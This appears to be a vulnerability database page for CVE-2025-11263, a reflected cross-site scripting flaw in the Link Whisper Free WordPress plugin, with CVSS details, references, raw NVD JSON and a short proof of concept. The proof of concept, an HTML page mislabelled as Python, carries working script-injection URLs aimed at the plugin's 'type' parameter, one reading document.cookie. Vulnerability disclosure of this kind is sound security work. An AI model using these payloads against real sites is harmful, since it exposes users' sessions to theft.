CVE-2025-11263

Description

The Link Whisper Free plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the type parameter in all versions up to, and including, 0.8.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Link Whisper Free <= 0.8.8 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-11263 PoC: Reflected XSS in Link Whisper Free plugin -->
<!-- Target: WordPress site with Link Whisper Free plugin <= 0.8.8 -->
<!-- Attack Vector: Malicious URL with XSS payload in 'type' parameter -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-11263 PoC</title>
</head>
<body>
    <h2>CVE-2025-11263 - Link Whisper Free XSS PoC</h2>
    <p>Click the link below to test the vulnerability:</p>
    
    <!-- Malicious URL with XSS payload -->
    <a href="http://target-wordpress-site.com/wp-admin/admin.php?page=link-whisper&type=<script>alert('XSS')</script>" target="_blank">
        Click here (malicious link)
    </a>
    
    <p>Or use the following direct URL:</p>
    <code>http://target-wordpress-site.com/wp-admin/admin.php?page=link-whisper&type="><script>alert(document.cookie)</script></code>
    
    <script>
        // Automated PoC execution
        console.log('CVE-2025-11263 PoC loaded');
        // In real attack, this would be hidden and executed automatically
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11263
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11263
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11263/
[4] VulDB https://vuldb.com/cve/CVE-2025-11263
[5] https://plugins.trac.wordpress.org/changeset/3401477/link-whisper/trunk/core/Wpil/Report.php
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/7e0cbef8-223a-44c0-a07f-28de2670da99?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-11263", "sourceIdentifier": "[email protected]", "published": "2025-12-06T04:15:46.113", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Link Whisper Free plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the type parameter in all versions up to, and including, 0.8.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3401477/link-whisper/trunk/core/Wpil/Report.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7e0cbef8-223a-44c0-a07f-28de2670da99?source=cve", "source": "[email protected]"}]}}